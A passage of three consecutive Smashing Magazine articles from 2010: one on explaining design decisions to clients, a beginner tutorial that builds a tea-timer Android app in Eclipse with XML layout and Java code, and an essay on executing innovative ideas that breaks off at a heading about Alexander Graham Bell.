Good design speaks for itself, right? Unfortunately, that is rarely the case. Most of us don’t have the privilege of designing for ourselves; we design for clients, clients who have their own taste and ideas, clients who ultimately need to be persuaded on why we’ve made certain decisions. Good design doesn’t speak for itself; it needs an advocate.

This article examines both why design requires justification and how you can go about providing it in a way that is clear and understandable. While we’ll focus on visual design, the principles described here are applicable to any creative process or endeavor. Indeed, we learned most of these lessons while presenting Web interfaces and prototypes to clients, which took place after the visual designs had been agreed on.

[Offtopic: by the way, did you know that there is a Smashing eBook Series? Book #1 is Professional Web Design, 242 pages for just $9,90.]

Beyond The Talk

There is a saying oft quoted by professionals:

“Those who can, do; those who can’t, teach.”

— George Bernard Shaw, Man and Superman

I disagree with the premise of this statement, but I do sympathize with its tone. It is borne of the frustration that comes from the separation between the practice of a discipline and its theory.

Web design is to some degree immune from this criticism, being an extremely practical discipline by nature, and also a very new one. But we don’t have to look far to find university professors teaching students how to design layouts using tables!

At the other end of the spectrum, we have the salespeople. These people may not be great at precise explanation, but they can certainly put forward a compelling argument. Ever sat in on a sales pitch and barely recognized the product being promoted? By the time the salesperson was through talking, you were convinced that the CMS could take you to the moon. I once heard this described as “truth massage.”

The WaSP InterACT (featured) and Opera Web standards curriculum were created to address the problem of institutions getting out of step with the Web industry.

While the full-time teacher (and even full-time salesperson) certainly have a place in the industry, explaining our designs is too important a task to leave to professional “talkers.”

We need to reconnect the practice of design with the theory of design. To do this, we need to learn the words and arguments for making a strong case for our designs.

The Importance Of Communicating A Message

“Marketing without design is lifeless, and design without marketing is mute.”

— Von R. Glitschka

Despite what many designers think, “marketing” is not a dirty word. We can learn much from the advertising and marketing industries about the importance of communication. Some advertising is as subtle as a sledgehammer, practically screaming at the user “Buy now!”; nevertheless, a great deal of thought went into how each message would be perceived and what would convince buyers most effectively.

When it comes to Web design, communication tends to be a much subtler affair: a delicate balance between satisfying users needs and delivering on business objectives. Here, design can play a key role by simplifying processes and persuading users.

Consider the registration form. Usually, business objectives demand as much information from the user as possible, so that the company can streamline and direct its marketing efforts. However, users are reluctant to supply information about themselves and are put off by long forms.

In this instance, trends dictate that the user experience wins out; registration forms now commonly consist simply of an email address and password. But business objectives are not entirely dismissed either: the reduction in effort to sign up translates into more registered users for the website, and people are generally becoming more willing to submit their email address. Plus, a short form fits neatly onto most pages, grabbing the attention of users when they are most receptive — for example, after having just read an interesting article.

The micro-blogging platform Tumblr epitomizes the simple sign-up form.

Design Doesn’t Just Happen

Design is itself a process of deduction. It involves a number of decisions, both conscious and unconscious. During this process, the designer dismisses some ideas as unworkable and pursues others in order to arrive at a solution.

But this process is completely opaque to the client. The client likely views the design not as the outcome of an in-depth process, but as a response to the brief, merely a visual representation of the constraints and considerations set before the designer. As the designer, part of your job is to educate the client and reveal the design process to them.

If you fail to do this, you risk reliving the scenario parodied The Oatmeal’s post on “How a Web Design Went Straight to Hell.” In short, what happens is that client (rightfully) wants some input into the process, so they make suggestions or improvements. But they don’t fully understand the reasons behind your design choices, and so their “minor tweaks” take the website further and further away from its purpose. The design suffers, the designer gets exasperated, the client feels unappreciated and the relationship breaks down. Sound familiar?

The Oatmeal comic describes how poor communication leads to Web design hell.

As designers and Web professionals, we needn’t be afraid of criticism. Good design stands up to criticism, because it is more than a matter of taste. View criticism as an opportunity to explain the reasons behind your decisions, to invite the client into the design world so that they feel like a part of the process.

If you treat criticism this way, then both you and the client will benefit. The client begins to articulate “problems” with the design in language that you can respond to. Instead of just saying, “Make it green,” they might now say, “The red feels too dominant, and we want to push the environmental benefits of our product, so I feel a more natural color is needed. Perhaps green?” Similarly, you will be less precious about your designs, understanding that they will be open to change unless the arguments behind your design decisions are convincing.

Learning The Vocabulary

If we are to explain our designs to clients, then we need to know the language. Translating a visual medium into words is not straightforward. Designers suffer from being so well versed in the language of design that they struggle to articulate it to others. To them, it just “looks right.”

The second difficulty faced by designers is assumed knowledge. They forget that much of their understanding of design comes from past experience, and they can become impatient with clients who are resistant to their suggestions.

In these situations, going back to the basics — i.e. the elements and principles of design — can be helpful. These basics are the “fundamental ideas about the practice of good visual design that are assumed to be the basis of all intentional visual design strategies” (from Wikipedia). A few are listed below:

The elements and principles of design.

You might wish to familiarize yourself with these elements and principles, although you very likely use them liberally in your designs already. For example, white space is really an expression of balance, because it affords each element enough space to have the right amount of focus. Similarly, we draw on proximity when designing forms to make clear the relationship between labels and inputs.

Understanding the principles and elements of design can also help in the design process. When assessing your options, you are able to fall back on more than “It just looks right.”

Making A Convincing Argument

Ultimately, if we are going to persuade clients of the value of our designs, then we need to make convincing arguments. Clients are people, and people have biases; so, the best way to convince them is to frame your argument in the right context.

Clients usually have various pressures put on them, and have to deal with various expectations of the website. Understanding these expectations from the outset will help you at each stage of the process, including the design stage. Some expectations will be formalized as objectives, which should be documented and serve as the basis of the design brief; other expectations might be politically motivated and therefore more difficult to identify.

While I don’t advocate playing the political game, spending some time understanding your client’s motivations will pay dividends as the project proceeds.

Broadly speaking, motivations fall into five categories:

1. Usability and accessibility,
2. Return on investment (ROI),
3. Return on engagement (ROE),
4. Deadline-driven,
5. Financial.

Depending on the dominant factors in a project, the client will be sympathetic to certain solutions and hostile to others. Let’s look at one factor in detail.

Usability and Accessibility

These tend to be a strong motivator with government, not-for-profit and service-oriented clients, usually stemming from a combination of legislative pressures and a desire to be inclusive to all audience segments. Of course, usability and accessibility should be core considerations in all projects, but they are rarely client-driven.

In such a case, Flash and other highly interactive technologies could be dismissed out of hand for not being accessible. This will also have a bearing on decisions related to color, font and clarity, which in turn will have a huge impact on the overall look and feel of the design.

Understanding this from the outset will help you present the design in the right framework and thus make the design appeal more to the client.

Presenting Your Case

Always present a design to the client in person (or by remote conferencing when that is not possible). Never just send it as an attachment to an email, otherwise you will:

1. Look incredibly unprofessional,
2. Have no control over the environment (or mindset) in which your design is viewed.

Once you have set aside a time to present your design, how should you proceed? The first thing to do is set clear expectations for the meeting.

Whether you like it or not, the way you present a design sends a message. For example, if you show up at a kick-off meeting with professionally printed boards of design ideas, you will be sending two conflicting messages, because no matter how much you talk about “sketching out” ideas and “exploring” concepts, your boards will be communicating something completely different. The danger here is that the client gets hung up on what they see, which can derail the project in later stages.

As a designer, you have many tools in your arsenal: wireframes, mood boards, sketches, scamps, flat designs, HTML templates and even the backs of napkins. Pick the method that conveys the right amount of professionalism, while offering enough flexibility.

And remember, whatever expectations you have for the meeting, make sure to communicate (and agree on) them before a single design is made.

Dan M. Brown’s book Communicating Design focuses on those deliverables (wireframes, concept models, site maps) that serve as the primary communication tools between designers and clients.

The second thing I find really helpful, closely related to setting expectations, is giving the client a task. Believe it or not, clients actually want to help. But like a wayward child in the kitchen, this help can sometimes be more damaging than constructive.

The best way to do this is to bring the client on board with your own goals. Talk them through the design brief and how you have answered it, or reiterate your overall concept to them. Invite the client to look at the design from this standpoint and to use it to shape their comments. They should consider themselves the website’s quality control officer, pointing out where you might have veered from your own principles. If you do this, then you are far more likely to hear the sort of helpful criticism we spoke of earlier.

To Recap

• Remember, your design doesn’t speak for itself. If it is to stand up to scrutiny, then it needs an advocate.
• In explaining your design, resist the temptation to use meaningless catchphrases. Instead, use plain, easily understood language.
• If possible, include your client in the design process. Walk them through the process you took to arrive at your decisions.
• Don’t be afraid of criticism, because good design is more than a matter of taste.
• Don’t be precious with your design. Be prepared to change elements that you cannot make a good argument for.
• Translating a visual medium into words can be difficult. But the principles and elements of design will help you articulate this visual language.
• To make your argument convincing, frame it in the right context. Understand the pain points, and justify your design in these terms.
• Always present your design in person, and ensure that any expectations are communicated (and agreed on) before a single decision is made.
• Finally, be proud of your work. When you’ve finished speaking, give it plenty of space to say a few words of its own!

Further Reading

• Ten Laws to Design By
  “As designers, we have to be aware of the function of our work and design, as much as we care about the aesthetics and visuals…” This post presents 10 design laws worth considering.
• Is John the Client Dense or Are You Failing Him?
  An interesting post by Paul Boag that challenges us to empathize with our clients to build better relationships… and produce better websites.
• It’s Not Just What You Present, But How You Present It
  An article by Ross Johnson that takes a closer look at effective methods of presenting a design.
• How to Persuade Your Users, Boss or Client
  Paul Boag on the art of persuasion.
• Communicating Design
  A book by Dan Brown that describes the tools that designers use in the course of creating a website. One chapter focuses on screen designs and the way they should be presented.

(al)

© Felicity Evans for Smashing Magazine, 2010. | Permalink | Post a comment | Add to del.icio.us | Digg this | Stumble on StumbleUpon! | Tweet it! | Submit to Reddit | Forum Smashing Magazine
Post tags:

  

There’s a lot to get excited about in mobile application development today. With increasingly sophisticated hardware, tablet PCs and a variety of software platforms (Symbian OS, iOS, WebOS, Windows Phone 7…), the landscape for mobile developers is full of opportunities — and a little complex as well.

So much choice can be overwhelming when you just want to get started building mobile applications. Which platform should you choose? What programming language should you learn? What kit do you need for your planned project? In this tutorial, you’ll learn how to start writing applications for Android, the open-source mobile operating system popularized by Google.

[Offtopic: by the way, did you already get your copy of the Smashing Book?]

Why Develop for Android?

Android is an open-source platform based on the Linux kernel, and is installed on thousands of devices from a wide range of manufacturers. Android exposes your application to all sorts of hardware that you’ll find in modern mobile devices — digital compasses, video cameras, GPS, orientation sensors, and more.

Android’s free development tools make it possible for you to start writing software at little or no cost. When you’re ready to show off your application to the world, you can publish it to Google’s Android Market. Publishing to Android Market incurs a one-off registration fee (US $25 at the time of writing) and, unlike Apple’s App Store which famously reviews each submission, makes your application available for customers to download and buy after a quick review process — unless the application is blatantly illegal.

Here are a few other advantages Android offers you as a developer:

• The Android SDK is available for Windows, Mac and Linux, so you don’t need to pay for new hardware to start writing applications.
• An SDK built on Java. If you’re familiar with the Java programming language, you’re already halfway there.
• By distributing your application on Android Market, it’s available to hundreds of thousands of users instantly. You’re not just limited to one store, because there are alternatives, too. For instance, you can release your application on your own blog. Amazon have recently been rumoured to be preparing their own Android app store also.
• As well as the technical SDK documentation, new resources are being published for Android developers as the platform gains popularity among both users and developers.

Enough with the talk — let’s get started developing for Android!

Installing Eclipse and the Android SDK

The recommended environment for developing Android applications is Eclipse with the Android Development Toolkit (ADT) plugin installed. I’ll summarize the process here. If you need more detail, Google’s own developer pages do a good job of explaining the installation and configuration process.

• Download the Android SDK for your platform (Windows, Mac OS X, or Linux).
• Extract the downloaded file to somewhere memorable on your hard drive (on Linux, I use /opt/local/).
• If you don’t already have Eclipse installed, download and install the Eclipse IDE for Java Developers package. For programming, Google recommends using Eclipse 3.5 (Galileo).
• Run Eclipse and choose Help->Install New Software.
• Click Add in the Available Software window.
• Enter Android Development Tools in the Name field, and https://dl-ssl.google.com/android/eclipse/ in the Location field.
• Click OK and check Developer Tools in the list of available software. This will install the Android Development Tools and DDMS, Android’s debugging tool.


Large image

• Click Next and Finish to install the plugin. You’ll need to restart Eclipse once everything is installed.
• When Eclipse restarts, choose Window->Preferences and you should see Android listed in the categories.
• You now need to tell Eclipse where you’ve installed the Android SDK. Click Android and then Browse to select the location where you extracted the SDK files. For example, /opt/local/android-sdk.
  
  Large view
• Click OK to have Eclipse save the location of your SDK.

Targeting Android Platforms

Before you can start writing applications for Android, you need to download the SDK platforms for the Android devices for which you want to develop apps. Each platform has a different version of the Android SDK that may be installed on users’ devices. For versions of Android 1.5 and above, there are two platforms available: Android Open Source Project and Google.

The Android Open Source Project platforms are open source, but do not include Google’s proprietary extensions such as Google Maps. If you choose not to use the Google APIs, Google’s mapping functionality won’t be available to your application. Unless you have a specific reason not to, I’d recommended you to target one of the Google platforms, as this will allow you to take advantage of Google’s proprietary extensions.

• Choose Window->Android SDK and AVD Manager.
• Click Available Packages in the left column and check the repository to show a list of the available Android platforms.
• You can choose which platforms to download from the list, or leave everything checked to download all the available platforms. When you’re done, click Install Selected and follow the installation instructions.

  
  Large image

Once everything has been successfully downloaded, you’re ready to start developing for Android.

Creating a New Android Project

Eclipse’s New Project Wizard can create a new Android application for you, generating files and code that are ready to run right out of the box. It’s a quick way to see something working, and a good starting point from which to develop your own applications:

• Choose File->New->Project…
• Choose Android Project
• In the New Project dialog, enter the following settings:

  Project Name: BrewClock
  Build Target: Google Inc. 1.6 (Api Level 4)
  Application Name: BrewClock
  Package Name: com.example.brewclock
  Create Activity: BrewClockActivity
  Min SDK Version: 4

  

After clicking Finish, Eclipse will create a new Android project that’s ready to run. Notice you told Eclipse to generate an Activity called BrewClockActivity? This is the code that Android actually uses to run your application. The generated code will display a simple ‘Hello World’ style message when the application runs.

Packages

The package name is an identifier for your application. When the time comes and you are willing to publish on Android Market, it’s exactly this identifier that will be used to track your application for updates, so it’s important to make sure it’s unique. Although we’re using the com.example.brewclock namespace here, for a real application it’s best to choose something like com.yourcompanyname.yourapplication.

SDK Versions

The Min SDK Version is the earliest version of Android on which your application will run. With each new release of Android, the SDK adds and changes methods. By choosing an SDK version, Android (and the Android Market) knows that your application will only run on devices with a version of Android later or equal than the specified version.

Running Your Application

Now let’s try running the application in Eclipse. As this is the first run, Eclipse will ask what type of project you are working on:

• Choose Run->Run or press Ctrl+F11.
• Choose Android Application and click OK.

Eclipse will now try to run the application on an Android device. At the moment, though, you don’t have any Android devices running, so the run will fail and you’ll be asked to create a new Android Virtual Device (AVD).

Android Virtual Devices

An Android Virtual Device (AVD) is an emulator that simulates a real-world Android device, such as a mobile phone or Tablet PC. You can use AVDs to test how your application performs on a wide variety of Android devices, without having to buy every gadget on the market.

You can create as many AVDs as you like, each set up with different versions of the Android Platform. For each AVD you create, you can configure various hardware properties such as whether it has a physical keyboard, GPS support, the camera resolution, and so on.

Before you can run your application, you need to create your first AVD running the target SDK platform (Google APIs 1.6).

Let’s do that now:

• If you haven’t tried to run your application yet, click Run now (or hit Ctrl+F11)
• When the target device warning pops up, click Yes to create a new AVD.
• Click New in the Android SDK and AVD Manager dialog that appears.
• Enter the following settings for the AVD:

  Name: Android_1.6
  Target: Google APIs (Google Inc.) - API Level 4
  SD Card Size: 16 MiB
  Skin Built In: Default (HVGA)

• Click Create AVD to have Android build your new AVD.
• Close the Android SDK and AVD Manager dialog.

Running the Code

Try running your application again (Ctrl+F11). Eclipse will now build your project and launch the new AVD. Remember, the AVD emulates a complete Android system, so you’ll even need to sit through the slow boot process just like a real device. For this reason, once the AVD is up and running, it’s best not to close it down until you’ve finished developing for the day.

When the emulator has booted, Eclipse automatically installs and runs your application:

Large image

Building Your First Android Application

Testing generated code is all well and good, but you want to start building a real application. For this, we’ll step through a simple design process and build an application that you can deploy to your Android device.

Most developers (myself included) like a constant supply of good tea or coffee. In the next section of this article you’ll build a simple tea counter application to track how many cups of tea (brews) the user has drunk, and let them set a timer for brewing each cup.

You can download the complete code for this tutorial on GitHub.

Designing the User Interface

One of the first steps to building any Android application is to design and build the user interface. Here’s a quick sketch of how the application’s interface will look:

Large image

The user will be able to set a brew time in minutes using the + and - buttons. When they click Start, a countdown will start for the specified number of minutes. Unless the user cancels the brew by tapping the button again, the brew count will be increased when the countdown timer reaches 0.

Building the Interface

Android user interfaces, or layouts, which are described in XML documents, can be found in the res/layouts folder. The template code that Eclipse generated already has a simple layout declared in res/layouts/main.xml which you may have seen previously while the application was running on the emulator.

Eclipse has a graphical layout designer that lets you build the interface by ‘dragging’ and ‘dropping’ controls around the screen. However, I often find it easier to write the interface in XML and use the graphical layout to preview the results.

Let’s do this now by changing main.xml to match the design sketch above:

• Open res/layouts/main.xml in Eclipse by double-clicking it in the Package Explorer.
• Click the main.xml tab along the bottom of the screen to switch to XML view.

Now change the content of main.xml to:

# /res/layouts/main.xml
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout
  xmlns:android="http://schemas.android.com/apk/res/android"
  android:orientation="vertical"
  android:layout_width="fill_parent"
  android:layout_height="fill_parent">
  <LinearLayout
    android:orientation="horizontal"
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:padding="10dip">
    <TextView
      android:layout_width="wrap_content"
      android:layout_height="wrap_content"
      android:textSize="20dip"
      android:text="Brews: " />
    <TextView
      android:layout_width="fill_parent"
      android:layout_height="wrap_content"
      android:text="None"
      android:gravity="right"
      android:textSize="20dip"
      android:id="@+id/brew_count_label" />
  </LinearLayout>
  <LinearLayout
    android:orientation="horizontal"
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:layout_weight="1"
    android:gravity="center"
    android:padding="10dip">
    <Button
      android:id="@+id/brew_time_down"
      android:layout_width="wrap_content"
      android:layout_height="wrap_content"
      android:text="-"
      android:textSize="40dip" />
    <TextView
      android:id="@+id/brew_time"
      android:layout_width="wrap_content"
      android:layout_height="wrap_content"
      android:text="0:00"
      android:textSize="40dip"
      android:padding="10dip" />
    <Button
      android:id="@+id/brew_time_up"
      android:layout_width="wrap_content"
      android:layout_height="wrap_content"
      android:text="+"
      android:textSize="40dip" />
  </LinearLayout>
  <Button
    android:id="@+id/brew_start"
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:layout_gravity="bottom"
    android:text="Start" />
</LinearLayout>

As you can see, Android’s XML layout files are verbose, but allow you to control virtually every aspect of elements on the screen.

One of the most important interface elements in Android are Layout containers, such as the LinearLayout used in this example. These elements are invisible to the user but act as layout containers for other elements such as Buttons and TextViews.

There are several types of layout views, each of which is used to build different types of layout. As well as the LinearLayout and AbsoluteLayout, the TableLayout allows the use of complex grid-based interfaces. You can find out more about Layouts in the Common Layout Objects section of the API documents.

Linking Your Layout With Code

After saving your layout, try running your application in the emulator again by pressing Ctrl+F11, or clicking the Run icon in Eclipse. Now instead of the ‘Hello World’ message you saw earlier, you’ll see Android now displays your application’s new interface.

If you click any of the buttons, they’ll highlight as expected, but don’t do anything yet. Let’s remedy that by writing some code behind the interface layout:

# /src/com/example/brewclock/BrewClockActivity.java
...
import android.widget.Button;
import android.widget.TextView;

public class BrewClockActivity extends Activity {
  /** Properties **/
  protected Button brewAddTime;
  protected Button brewDecreaseTime;
  protected Button startBrew;
  protected TextView brewCountLabel;
  protected TextView brewTimeLabel;

  ...
 }

Next, we’ll change the call to onCreate. This is the method that gets called whenever Android starts your application. In the code that Eclipse generated, onCreate sets the activity’s view to be R.layout.main. It’s that line of code that tells Android to decode our layout XML document and display it to the user.

The Resource Object

In Android, R is a special object that is automatically generated to allow access to your project’s resources (layouts, strings, menus, icons…) from within the code. Each resource is given an id. In the layout file above, these are the @+id XML attributes. We’ll use those attributes to connect the Buttons and TextViews in our layout to the code:

# /src/com/example/brewclock/BrewClockActivity.java
...
public class BrewClockActivity extends Activity {
  ...
  public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.main);

    // Connect interface elements to properties
    brewAddTime = (Button) findViewById(R.id.brew_time_up);
    brewDecreaseTime = (Button) findViewById(R.id.brew_time_down);
    startBrew = (Button) findViewById(R.id.brew_start);
    brewCountLabel = (TextView) findViewById(R.id.brew_count_label);
    brewTimeLabel = (TextView) findViewById(R.id.brew_time);
  }
}

Listening For Events

In order to detect when the user taps one of our buttons, we need to implement a listener. You may be familiar with listeners or callbacks from other event-driven platforms, such as Javascript/jQuery events or Rails’ callbacks.

Android provides a similar mechanism by providing Listener interfaces, such as OnClickListener, that define methods to be triggered when an event occurs. Implementing the OnClickListener interface will notify your application when the user taps the screen, and on which button they tapped. You also need to tell each button about the ClickListener so that it knows which listener to notify:

# /src/com/example/brewclock/BrewClockActivity.java
...
// Be sure not to import
// `android.content.dialoginterface.OnClickListener`.
import android.view.View.OnClickListener; 

public class BrewClockActivity extends Activity
  implements OnClickListener {
  ...
  public void onCreate(Bundle savedInstanceState) {
    ...
    // Setup ClickListeners
    brewAddTime.setOnClickListener(this);
    brewDecreaseTime.setOnClickListener(this);
    startBrew.setOnClickListener(this);
  }
  ...
  public void onClick(View v) {
    // TODO: Add code to handle button taps
  }
}

Next we’ll add code that handles each of our button presses. We’ll also add four new properties to the Activity that will let the user set and track the brewing time, how many brews have been made, and whether the timer is currently running.

# /src/com/example/brewclock/BrewClockActivity.java
...
public class BrewClockActivity extends Activity
  implements OnClickListener {
  ...
  protected int brewTime = 3;
  protected CountDownTimer brewCountDownTimer;
  protected int brewCount = 0;
  protected boolean isBrewing = false;
  ...
  public void onClick(View v) {
    if(v == brewAddTime)
      setBrewTime(brewTime + 1);
    else if(v == brewDecreaseTime)
      setBrewTime(brewTime -1);
    else if(v == startBrew) {
      if(isBrewing)
        stopBrew();
      else
        startBrew();
    }
  }
}

Notice we’re using the CountDownTimer class provided by Android. This lets you easily create and start a simple countdown, and be notified at regular intervals whilst the countdown is running. You’ll use this in the startBrew method below.

The following methods are all model logic that handles setting the brew time, starting and stopping the brew and maintaining a count of brews made. We’ll also initialize the brewTime and brewCount properties in onCreate.

It would be good practice to move this code to a separate model class, but for simplicity we’ll add the code to our BrewClockActivity:

# /src/com/example/brewclock/BrewClockActivity.java
...
public class BrewClockActivity extends Activity
  implements OnClickListener {
  ...
  public void onCreate(Bundle savedInstanceState) {
    ...
    // Set the initial brew values
    setBrewCount(0);
    setBrewTime(3);
  }

  /**
   * Set an absolute value for the number of minutes to brew.
   * Has no effect if a brew is currently running.
   * @param minutes The number of minutes to brew.
   */
  public void setBrewTime(int minutes) {
    if(isBrewing)
      return;

    brewTime = minutes;

    if(brewTime < 1)
      brewTime = 1;

    brewTimeLabel.setText(String.valueOf(brewTime) + "m");
  }

  /**
   * Set the number of brews that have been made, and update
   * the interface.
   * @param count The new number of brews
   */
  public void setBrewCount(int count) {
    brewCount = count;
    brewCountLabel.setText(String.valueOf(brewCount));
  }

  /**
   * Start the brew timer
   */
  public void startBrew() {
    // Create a new CountDownTimer to track the brew time
    brewCountDownTimer = new CountDownTimer(brewTime * 60 * 1000, 1000) {
      @Override
      public void onTick(long millisUntilFinished) {
        brewTimeLabel.setText(String.valueOf(millisUntilFinished / 1000) + "s");
      }

      @Override
      public void onFinish() {
        isBrewing = false;
        setBrewCount(brewCount + 1);

        brewTimeLabel.setText("Brew Up!");
        startBrew.setText("Start");
      }
    };

    brewCountDownTimer.start();
    startBrew.setText("Stop");
    isBrewing = true;
  }

  /**
   * Stop the brew timer
   */
  public void stopBrew() {
    if(brewCountDownTimer != null)
      brewCountDownTimer.cancel();

    isBrewing = false;
    startBrew.setText("Start");
  }
  ...
}

The only parts of this code specific to Android are setting the display labels using the setText method. In startBrew, we create and start a CountDownTimer to start counting down every second until a brew is finished. Notice that we define CountDownTimer's listeners (onTick and onFinish) inline. onTick will be called every 1000 milliseconds (1 second) the timer counts down, whilst onFinish is called when the timer reaches zero.

Avoiding Hard-Coded Text in your Code

To keep this tutorial code simple, I’ve intentionally written label strings directly in the code (e.g. "Brew Up!", "Start", "Stop"). Generally, this isn’t good practice, as it makes finding and changing those strings harder in large projects.

Android provides a neat way to keep your text strings separate from code with the R object. R lets you define all your application’s strings in an xml file (res/values/strings.xml) which you can then access in code by reference. For example:

# /res/values/strings.xml
<string name="brew_up_label">Brew Up!</string>
...

# /res/com/example/brewclock/BrewClockActivity.java
...
brewLabel.setText(R.string.brew_up_label);
...

Now if you wanted to change Brew Up! to something else, you would only need to change it once in the strings.xml file. Your application starts to span dozens of code files which keeps all your strings in one place and makes a lot of sense!

Trying BrewClock

With the code complete, it’s time to try out the application. Hit Run or Ctrl+F11 to start BrewClock in the emulator. All being well, you’ll see the interface set up and ready to time your tea brewing! Try setting different brew times, and pressing Start to watch the countdown.

Large image

Summary

In this short introduction to Android, you’ve installed the Android SDK and Eclipse Android Development Tools (ADT) plugin. You’ve set up an emulator, or virtual device that can test your applications. You’ve also built a working Android application which has highlighted a number of key concepts that you’ll use when developing your own Android applications.

Hopefully, this has whet your appetite for building mobile applications, and experimenting in this exciting field. Android offers a great way to start writing applications for a range of current and upcoming mobile devices. If you’ve built or are working on your own mobile app, be sure to let us know about it in the comments!

(ik), (vf)

© Chris Blunt for Smashing Magazine, 2010. | Permalink | Post a comment | Add to del.icio.us | Digg this | Stumble on StumbleUpon! | Tweet it! | Submit to Reddit | Forum Smashing Magazine
Post tags: android, mobile

  

In one of his recent presentations, Frans Johansson explained why groundbreaking innovators generate and execute far more ideas than their counterparts. After watching his presentation The Secret Truth About Executing Great Ideas, my thoughts began to surface about how meaningful the presentation was regardless of a persons industry, culture, field or discipline. Anyone can come up with an amazing idea but how you execute the idea will determine your success.

[Offtopic: by the way, did you know that there is a Smashing eBook Series? Book #1 is Professional Web Design, 242 pages for just $9,90.]

Ideation: Idea Conception

Coming up with an innovative idea will require some methods of generating ideas from brainstorming to mind mapping that can help conjure up useful ideas. During this process one must make sure to keep focused on a goal. If you have no goal, how will you know when you have reached the finish line and are ready for refinement? Start out with a few thoughts or themes and see what you can come up with.

Don’t get stuck on trying to come up with different variations of the same idea as you will want to develop ideas further later. While there is no exact path in ideation or other creativity techniques from start to finish, creating an idea you are happy with and feel has innovative potential is the key. Believing in your ideas innovative ability will give the confidence you will need later on during pitch time.

Is this new disposable cup holder an improvement or an innovation?

Many people have tried to innovate, but because something similar had already existed, it’s merely an improvement. When designing within familiar bounds, you can still create something amazing but your audience will not likely be astonished at the sight of it. It is easy to see the particular innovative idea as something that was so simple to come up with but if that’s the case, then why didn’t you do it? The trick is to come up with them before. That’s the challenge. Once you find that special seed of an innovative idea, try to avoid key mistakes that will stop your idea from ever seeing the light of day.

As interesting as some ideas may be, that is not always enough for consumers. Getting the message out that your new idea is imperative will gain more consumer attention, especially in more difficult economic times. Always having a short and clear value proposition with an inescapable feeling of necessity can help gain capital, exposure and consumers. Do not wait until everything is “perfect” as they may never be and this will only further delay your ideas release. Act, do not sit idle!

Nurture New Ideas

Think of your typical cup holder from a fast food restaurant or coffee house made of cardboard. They are rigid with no handle and have been cause of drink spills and panic attacks for years. Recently a new cup holder has come about that is more mobile and has a handle (see image above). These changes have made it easier to transport drinks and prevent spills. This idea in itself is only an improvement on what was there previously.

To truly be innovative, you should take opposing thoughts and combine them, which increases the innovative potential of your idea (see image below). Think of the invention of the Burqini that combines the idea of a burqa that Muslim women wear and the flexibility of a swimsuit at the beach. Innovative ideas can sometimes be explosive but many potential barriers will arise and just having an innovative idea is not always enough.

Groundbreaking and innovative ideas come from combining ideas from different industries, cultures, fields, and disciplines.

In order to take an innovative idea from the embryo of a concept to market, you need to have the determination to push through failure. The odds are against you no matter the idea and statistics say you are going to fail a few times on your road to success. Knowing this, you have to hedge your bets more effectively so you can adjust your path and continue forward.

Don’t be intimidated by the perceived brilliance of innovative designs, because you are typically seeing the last iteration that has changed compared to its original concept. This happens with adjustment through failure. As Johansson mentioned, Picasso had made around 20,000 (as high as 50,000) works of art in his lifetime and Einstein published 240 papers with a short number of successful creations. Innovative success happens in volume (see image below).

Stevens, G.A. and Burley, J., “3,000 Raw Ideas = 1 Commercial Success!”

How To Pick A Successful Idea

Don’t put everything behind your first idea! You wouldn’t go to the racetrack and put your life savings on 1/3000 odds, would you? Even though we are taught that all innovations come from a visionary who predicted a need for the future, this is usually not the case. Naturally, most inventions come from necessity and others from creative spark. When executing a creative idea with the resources you have available, you will have to make adjustments along the way that may not have been accounted for originally. Johansson suggests that you take the smallest executable step (smallest bet) so you don’t risk everything on your original idea.

Once you define the smallest step, you know your scope of risk. This is very important because you can then take baby steps to overcome challenges and utilize resources more efficiently on your road to success (see image below). While strategy is paramount, one shouldn’t get lost in planning and take too long to execute. Stay motivated to move forward, because forward motion even through failure is the key to success.

“Nearly every major breakthrough innovation has been preceded by a string of failed or misguided executions.” — Frans Johansson.

When implementing strategy, whether it is used to free up resources or define a path to move forward, do not plan on coming up with the ultimate plan that will carry your idea to the finish line. Coming up with a base and enabling yourself to act will help to get things done and eventually discover the final solution that goes to market. You will need to bring yourself to an idea intersection where you can pick and choose the best ideas. This intersection can be used to generate extraordinary, electrifying and trendsetting ideas.

Exploring Innovation Deeper

The Devotion of Pablo Picasso

Pablo Ruiz Picasso was a Spanish artist that had a unique talent in painting by combining different techniques, theories and ideas making him one of the most well-known figures in 20th century art. Picasso had always shown a passion for art from a very young age and was determined to express his passion to the world. Overcoming high and low barriers, he achieved much success and fortune in his life. As Pablo Ruiz Picasso said, “action is the foundational key to all success.” Continuing to move forward by taking action and not sitting idle will create momentum for success.

Early in his life, Pablo Picasso slept during the day, worked at night and persevered through poverty, cold and desperation. He was known to have burned much of his early work just to keep warm at night. Picasso motivated himself through passion to push forward and eventually made luxurious connections. Constantly updating his style from the Blue Period, to the Rose Period, to the African-influenced Period, to Cubism, to Realism and Surrealism, he was a pioneer with a hand in every art movement of the 20th century.

Picasso was extraordinarily abundant throughout his long lifetime. A skillful self-promoter, he used politics, whimsicality, and harassment as a selling tool. The total number of artworks he produced has been estimated at 50,000, comprising 1,885 paintings; 1,228 sculptures; 2,880 ceramics, roughly 12,000 drawings, many thousands of prints, and numerous tapestries and rugs. From all of these works, only a few dozen have been regarded as a great success, leaving thousands in museums for viewing after his death and even more collecting dust. Picassco dedicated his life to art and has very influential with his portrayal of Cubism.

Frank Epperson’s Juice on a Stick

Frank Epperson was an average American who at a young age discovered a “frozen drink on a stick” that would later become an innovative idea. In his life he dabbled in real estate before discovering how to take his idea to market.

At the age of 11 Frank Epperson invented the “Epsicle” that is now known as the “Popsicle”. He was mixing powdered soda with water to make soda pop and accidentally left the mixing bucket outside on an unusually cold night. During the night the mixture froze solid, with the wooden stirring stick standing straight up. There was one huge problem: you can’t start an Epsicle production line on your back porch because the weather didn’t allow for such a thing. Epperson overcame this hurdle by gaining access to a commercial freezer, stamped his name on the sticks and wanted to sell his idea.

Unfortunately for Epperson, ice-cream makers were not interested and he did not share his idea again until a fireman’s ball years later. He pushed through rejection and failure without burying all of his resources until he had achieved a solid idea. While he discovered this wonderful treat early on in life, it took him 16 years to introduce the idea and 7 years more to sell his Popsicle patent. The popsicle can be credited for the entrance of tasty frozen deserts into the mainstream and happy children’s faces around the world. Today hundreds of millions of Popsicles are eaten in the United States each year, and there are more than thirty flavors available.

Alexander Graham Bell’s Modern Communication

